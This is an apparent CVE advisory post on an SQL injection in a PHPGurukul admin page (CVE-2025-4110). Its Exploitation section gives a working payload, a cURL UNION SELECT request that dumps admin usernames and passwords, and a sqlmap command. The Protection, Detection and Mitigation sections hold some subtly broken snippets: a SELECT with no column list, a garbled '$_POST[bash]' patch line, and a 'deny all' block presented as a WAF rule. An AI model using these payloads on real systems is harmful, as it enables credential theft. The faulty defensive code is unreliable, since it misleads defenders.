How CVE-2025-4110 Works
This vulnerability exploits improper input sanitization in the `mobilenumber` parameter of /admin/edit-teacher.php. Attackers inject malicious SQL queries through this parameter, manipulating database operations. The system fails to validate or escape user-supplied input before concatenating it into SQL statements, enabling unauthorized database access, data theft, or admin credential compromise. Remote exploitation is possible without authentication, leveraging crafted HTTP requests to execute arbitrary SQL commands.
DailyCVE Form
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
' OR 1=1-- -
2. Exploit via cURL:
curl -X POST "http://target.com/admin/edit-teacher.php" -d "mobilenumber=1'+UNION+SELECT+1,username,password,4+FROM+admin-- -"
3. Automated tool:
sqlmap -u "http://target.com/admin/edit-teacher.php?mobilenumber=1" --risk=3 --level=5
Protection
1. Patch: Apply vendor updates.
2. Input validation:
$mobilenumber = mysqli_real_escape_string($conn, $_POST['mobilenumber']);
3. Prepared statements:
$stmt = $conn->prepare("UPDATE teachers SET mobile=? WHERE id=?");
$stmt->bind_param("si", $mobilenumber, $id);
4. WAF rules:
location /admin/ {
deny all;
}
5. Log monitoring:
tail -f /var/log/apache2/access.log | grep 'edit-teacher.php'
Detection
1. Database logs:
SELECT FROM mysql.general_log WHERE argument LIKE '%edit-teacher%';
2. IDS signature:
alert http any any -> any any (msg:"CVE-2025-4110 Exploit Attempt"; content:"mobilenumber="; pcre:"/[\x27\x22].?(SELECT|UNION)/i"; sid:10004110;)
Mitigation
1. Disable endpoint:
chmod 000 /var/www/html/admin/edit-teacher.php
2. Patch analysis:
- $sql = "UPDATE teachers SET mobile='$_POST[bash]' WHERE id=1"; + $sql = "UPDATE teachers SET mobile=? WHERE id=?";
